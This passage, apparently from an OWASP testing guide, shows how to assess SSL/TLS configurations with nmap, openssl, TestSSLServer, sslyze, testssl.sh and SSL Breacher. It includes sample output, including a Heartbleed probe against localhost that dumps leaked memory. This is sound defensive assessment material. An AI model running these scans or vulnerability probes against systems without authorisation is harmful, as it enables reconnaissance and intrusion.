995/tcp   open  ssl/pop3 syn-ack Dovecot pop3d
Service Info: Hosts: example.com
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds
```

Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap

Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].

```
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST
Nmap scan report for www.example.com (127.0.0.1)
Host is up (0.090s latency).
rDNS record for 127.0.0.1: www.example.com
PORT      STATE SERVICE
443/tcp   open  https
| ssl-cert: Subject: commonName=www.example.org
| Issuer: commonName=*****
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after:  2020-02-28T23:59:59+00:00
| MD5: *****
|_SHA-1: *****
| ssl-enum-ciphers:
|   SSLv3:
|     ciphers:
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|     compressors:
|       NULL
|   TLSv1.0:
|     ciphers:
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|     compressors:
|       NULL
|_ least strength: strong
465/tcp   open  smtps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*****
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after:  2020-02-28T23:59:59+00:00
| MD5: *****
|_SHA-1: *****
| ssl-enum-ciphers:
|   SSLv3:
|     ciphers:
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|     compressors:
|       NULL
|   TLSv1.0:
|     ciphers:
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
|     compressors:
|       NULL
|_ least strength: strong
993/tcp   open  imaps
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*****
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after:  2020-02-28T23:59:59+00:00
| MD5: *****
|_SHA-1: *****
| ssl-enum-ciphers:
|   SSLv3:
|     ciphers:
|       TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|       TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|       TLS_RSA_WITH_RC4_128_SHA - strong
```

```

|   compressors:
|   NULL
|   TLSv1.0:
|   ciphers:
|     TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|     TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|     TLS_RSA_WITH_RC4_128_SHA - strong
|   compressors:
|   NULL
|_ least strength: strong
995/tcp open  pop3s
| ssl-cert: Subject: commonName=*.exapmple.com
| Issuer: commonName=*****
| Public Key type: rsa
| Public Key bits: 2048
| Not valid before: 2010-01-23T00:00:00+00:00
| Not valid after:  2020-02-28T23:59:59+00:00
| MD5: *****
|_SHA-1: *****
| ssl-enum-ciphers:
|   SSLv3:
|   ciphers:
|     TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|     TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|     TLS_RSA_WITH_RC4_128_SHA - strong
|   compressors:
|   NULL
|   TLSv1.0:
|   ciphers:
|     TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong
|     TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong
|     TLS_RSA_WITH_RC4_128_SHA - strong
|   compressors:
|   NULL
|_ least strength: strong
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds

```

Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)

Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities.

```

$ openssl s_client -connect www2.example.com:443
CONNECTED(00000003)
depth=2 *****
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
 0 s:*****
  i:*****
 1 s:*****
  i:*****
 2 s:*****
  i:*****
---
Server certificate
-----BEGIN CERTIFICATE-----
*****
-----END CERTIFICATE-----
subject=*****
issuer=*****
---
No client certificate CA names sent
---
SSL handshake has read 3558 bytes and written 640 bytes
---
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA
Server public key is 2048 bit

```

```
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
  Protocol   : TLSv1
  Cipher     : DES-CBC3-SHA
  Session-ID: *****
  Session-ID-ctx:
  Master-Key: *****
  Key-Arg    : None
  PSK identity: None
  PSK identity hint: None
  SRP username: None
  Start Time: *****
  Timeout    : 300 (sec)
  Verify return code: 20 (unable to get local issuer certificate)
---
```

Now the tester can write the first line of an HTTP request and then R in a new line.

```
HEAD / HTTP/1.1
R
```

Server is renegotiating

```
RENEGOTIATING
depth=2 C*****
verify error:num=20:unable to get local issuer certificate
verify return:0
```

And the tester can complete our request, checking for response.

```
HEAD / HTTP/1.1

HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrat
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
Content-Length: 1792

read:errno=0
```

Even if the HEAD is not permitted, Client-initiated renegotiaion is permitted.

Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer

TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].

An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].

```
$ java -jar TestSSLServer.jar www3.example.com 443
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2
Deflate compression: no
Supported cipher suites (ORDER IS NOT SIGNIFICANT):
```



```

SSLv3
  RSA_WITH_RC4_128_SHA
  RSA_WITH_3DES_EDE_CBC_SHA
  DHE_RSA_WITH_3DES_EDE_CBC_SHA
  RSA_WITH_AES_128_CBC_SHA
  DHE_RSA_WITH_AES_128_CBC_SHA
  RSA_WITH_AES_256_CBC_SHA
  DHE_RSA_WITH_AES_256_CBC_SHA
  RSA_WITH_CAMELLIA_128_CBC_SHA
  DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
  RSA_WITH_CAMELLIA_256_CBC_SHA
  DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
  TLS_RSA_WITH_SEED_CBC_SHA
  TLS_DHE_RSA_WITH_SEED_CBC_SHA
(TLSv1.0: idem)
(TLSv1.1: idem)
TLSv1.2
  RSA_WITH_RC4_128_SHA
  RSA_WITH_3DES_EDE_CBC_SHA
  DHE_RSA_WITH_3DES_EDE_CBC_SHA
  RSA_WITH_AES_128_CBC_SHA
  DHE_RSA_WITH_AES_128_CBC_SHA
  RSA_WITH_AES_256_CBC_SHA
  DHE_RSA_WITH_AES_256_CBC_SHA
  RSA_WITH_AES_128_CBC_SHA256
  RSA_WITH_AES_256_CBC_SHA256
  RSA_WITH_CAMELLIA_128_CBC_SHA
  DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
  DHE_RSA_WITH_AES_128_CBC_SHA256
  DHE_RSA_WITH_AES_256_CBC_SHA256
  RSA_WITH_CAMELLIA_256_CBC_SHA
  DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
  TLS_RSA_WITH_SEED_CBC_SHA
  TLS_DHE_RSA_WITH_SEED_CBC_SHA
  TLS_RSA_WITH_AES_128_GCM_SHA256
  TLS_RSA_WITH_AES_256_GCM_SHA384
  TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
  TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
-----
Server certificate(s):
*****
-----
Minimal encryption strength:    strong encryption (96-bit or more)
Achievable encryption strength: strong encryption (96-bit or more)
BEAST status: vulnerable
CRIME status: protected

```

Example 6. Testing SSL/TLS vulnerabilities with sslyze

Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.

```

./sslyze.py --regular example.com:443

REGISTERING AVAILABLE PLUGINS
-----

PluginHSTS
PluginSessionRenegotiation
PluginCertInfo
PluginSessionResumption
PluginOpenSSLCipherSuites
PluginCompression

CHECKING HOST(S) AVAILABILITY
-----

example.com:443                => 127.0.0.1:443

```

SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443

```

-----
* Compression :
  Compression Support:      Disabled

* Session Renegotiation :
  Client-initiated Renegotiations:  Rejected
  Secure Renegotiation:           Supported

* Certificate :
  Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate
  Hostname Validation:           MISMATCH
  SHA1 Fingerprint:             *****

  Common Name:                  www.example.com
  Issuer:                        *****
  Serial Number:                 ****
  Not Before:                    Sep 26 00:00:00 2010 GMT
  Not After:                      Sep 26 23:59:59 2020 GMT

  Signature Algorithm:          sha1WithRSAEncryption
  Key Size:                      1024 bit
  X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}

* OCSP Stapling :
  Server did not send back an OCSP response.

* Session Resumption :
  With Session IDs:              Supported (5 successful, 0 failed, 0 errors, 5 total attempts).
  With TLS Session Tickets:      Supported

* SSLV2 Cipher Suites :

  Rejected Cipher Suite(s): Hidden

  Preferred Cipher Suite: None

  Accepted Cipher Suite(s): None

  Undefined - An unexpected error happened: None

* SSLV3 Cipher Suites :

  Rejected Cipher Suite(s): Hidden

  Preferred Cipher Suite:
  RC4-SHA                        128 bits      HTTP 200 OK

  Accepted Cipher Suite(s):
  CAMELLIA256-SHA                256 bits      HTTP 200 OK
  RC4-SHA                        128 bits      HTTP 200 OK
  CAMELLIA128-SHA                128 bits      HTTP 200 OK

  Undefined - An unexpected error happened: None

* TLSV1_1 Cipher Suites :

  Rejected Cipher Suite(s): Hidden

  Preferred Cipher Suite: None

  Accepted Cipher Suite(s): None

  Undefined - An unexpected error happened:
  ECDH-RSA-AES256-SHA            socket.timeout - timed out
  ECDH-ECDSA-AES256-SHA          socket.timeout - timed out

* TLSV1_2 Cipher Suites :

  Rejected Cipher Suite(s): Hidden

  Preferred Cipher Suite: None

  Accepted Cipher Suite(s): None

  Undefined - An unexpected error happened:
  ECDH-RSA-AES256-GCM-SHA384     socket.timeout - timed out

```

```

ECDH-ECDSA-AES256-GCM-SHA384      socket.timeout - timed out

* TLSV1 Cipher Suites :

Rejected Cipher Suite(s): Hidden

Preferred Cipher Suite:
RC4-SHA                          128 bits      Timeout on HTTP GET

Accepted Cipher Suite(s):
CAMELLIA256-SHA                  256 bits      HTTP 200 OK
RC4-SHA                          128 bits      HTTP 200 OK
CAMELLIA128-SHA                  128 bits      HTTP 200 OK

Undefined - An unexpected error happened:
ADH-CAMELLIA256-SHA              socket.timeout - timed out

SCAN COMPLETED IN 9.68 S
-----

```

Example 7. Testing SSL/TLS with testssl.sh

Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well.

It's a very easy to use tool. Here's some sample output (without colors):

```

user@myhost: % testssl.sh owasp.org

#####
testssl.sh v2.0rc3 (https://testssl.sh)
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)

This program is free software. Redistribution +
modification under GPLv2 is permitted.
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!

Note you can only check the server against what is
available (ciphers/protocols) locally on your machine
#####

Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on
"myhost:/<mypath>/bin/openssl64"

Testing now (2014-04-17 15:06) ---> owasp.org:443 <---
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e")

--> Testing Protocols

SSLv2      NOT offered (ok)
SSLv3      offered
TLSv1      offered (ok)
TLSv1.1    offered (ok)
TLSv1.2    offered (ok)

SPDY/NPN   not offered

--> Testing standard cipher lists

Null Cipher      NOT offered (ok)
Anonymous NULL Cipher  NOT offered (ok)
Anonymous DH Cipher  NOT offered (ok)
40 Bit encryption  NOT offered (ok)
56 Bit encryption  NOT offered (ok)
Export Cipher (general) NOT offered (ok)
Low (<=64 Bit)     NOT offered (ok)
DES Cipher        NOT offered (ok)

```

```

Triple DES Cipher      offered
Medium grade encryption offered
High grade encryption  offered (ok)

--> Testing server defaults (Server Hello)

Negotiated protocol    TLSv1.2
Negotiated cipher      AES128-GCM-SHA256

Server key size        2048 bit
TLS server extensions: server name, renegotiation info, session ticket, heartbeat
Session Tickets RFC 5077 300 seconds

--> Testing specific vulnerabilities

Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok)
Renegotiation (CVE 2009-3555)             NOT vulnerable (ok)
CRIME, TLS (CVE-2012-4929)                NOT vulnerable (ok)

--> Checking RC4 Ciphers

RC4 seems generally available. Now testing specific ciphers...

Hexcode  Cipher Name          KeyExch.  Encryption Bits
-----
[0x05]   RC4-SHA              RSA        RC4          128

RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a

--> Testing HTTP Header response

HSTS      no
Server    Apache
Application (None)

--> Testing (Perfect) Forward Secrecy (P)FS

no PFS available

Done now (2014-04-17 15:07) ---> owasp.org:443 <---

user@myhost: %

```

STARTTLS would be tested via `testssl.sh -t smtp.gmail.com:587 smtp`, each ciphers with `testssl -e <target>`, each ciphers per protocol with `testssl -E <target>`. To just display what local ciphers that are installed for openssl see `testssl -v`. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of `testssl.sh`.

The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure `/bin/bash` with `/dev/tcp` sockets -- no piggyback perl/python/you name it.

Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file `mapping-rfc.txt` in same directory.

Example 8. Testing SSL/TLS with SSL Breacher

This tool [99] is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests. It supports the following checks:

```

#HeartBleed
#ChangeCipherSpec Injection
#BREACH
#BEAST
#Forward Secrecy support
#RC4 support
#CRIME & TIME (If CRIME is detected, TIME will also be reported)
#Lucky13
#HSTS: Check for implementation of HSTS header
#HSTS: Reasonable duration of MAX-AGE

```

```
#HSTS: Check for SubDomains support
#Certificate expiration
#Insufficient public key-length
#Host-name mismatch
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)
#SSLv2 support
#Weak ciphers check
#Null Prefix in certificate
#HTTPS Stripping
#Surf Jacking
#Non-SSL elements/contents embedded in SSL page
#Cache-Control
```

```
pentester@r00ting: % breacher.sh https://localhost/login.php
```

```
Host Info:
```

```
#####
```

```
Host : localhost
```

```
Port : 443
```

```
Path : /login.php
```

```
Certificate Info:
```

```
#####
```

```
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)
```

```
Expiration Date: Sat Nov 09 07:48:47 SGT 2019
```

```
Signature Hash Algorithm: SHA1withRSA
```

```
Public key: Sun RSA public key, 1024 bits
```

```
  modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849
```

```
  public exponent: 65537
```

```
Signed for: CN=localhost
```

```
Signed by: CN=localhost
```

```
Total certificate chain: 1
```

```
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)
```

```
#####
```

```
Certificate Validation:
```

```
#####
```

```
[!] Signed using Insufficient public key length 1024 bits
```

```
(Refer to http://www.keylength.com/ for details)
```

```
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.
```

```
#####
```

```
Loading module: Hut3 Cardiac Arrest ...
```

```
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...
```

```
[-] Connecting to 127.0.0.1:443 using SSLv3
```

```
[-] Sending ClientHello
```

```
[-] ServerHello received
```

```
[-] Sending Heartbeat
```

```
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3
```

```
[-] Displaying response (lines consisting entirely of null bytes are removed):
```

```
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 .....SHS.|....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@.....
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.....
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .....!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.*)*
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +,,-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.?.?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 47 00 48 00 49 00 4A 00 C.D.E.F.`a.b.c.
00c0: 4B 00 4C 00 4D 00 4E 00 4F 00 50 00 51 00 52 00 d.e.f.g.h.i.j.k.
00d0: 53 00 54 00 55 00 56 00 57 00 58 00 59 00 5A 00 l.m.....
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'!
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.)*.+,-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.?.?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
```

```

01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^_.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I.....4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2.....
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#.....
0bd0: 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 .....}.....

```

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.0

[-] Sending ClientHello

[-] ServerHello received

[-] Sending Heartbeat

[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0

[-] Displaying response (lines consisting entirely of null bytes are removed):

```

0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 .....SHS.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@.....
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.....
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .....!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.*)*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +,,-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;<.=.>.?@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.....
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!."#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.)*+,-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:;<.=.>.?
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^_.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I.....4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2.....
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#.....
0bd0: 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 .....}.....

```

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.1

[-] Sending ClientHello

[-] ServerHello received

[-] Sending Heartbeat

[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1

[-] Displaying response (lines consisting entirely of null bytes are removed):

```

0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 .....SHS.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@.....
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.....
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .....!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.*)*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +,,-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;<.=.>.?@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.....
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!."#.$.%.&.'.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.)*+,-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:;<.=.>.?
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^_.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `a.b.c.d.e.f.g.

```

```

0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I.....4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2.....
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#.....
0bd0: 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 .....}.....
    
```

[-] Closing connection

[-] Connecting to 127.0.0.1:443 using TLSv1.2

[-] Sending ClientHello

[-] ServerHello received

[-] Sending Heartbeat

[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.2

[-] Displaying response (lines consisting entirely of null bytes are removed):

```

0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 .....SHS.|....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@.....
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y.....
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .....!.".
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%&.'(.)*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +,,-.../.0.1.2.
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;<.=.>?.@.A.B.
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.....
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!."#.$.%&'!
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.)*+,-.../.
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9...;<.=.>?.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^_
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}~...
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I.....4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2.....
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#.....
0bd0: 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 .....}.....
    
```

[-] Closing connection

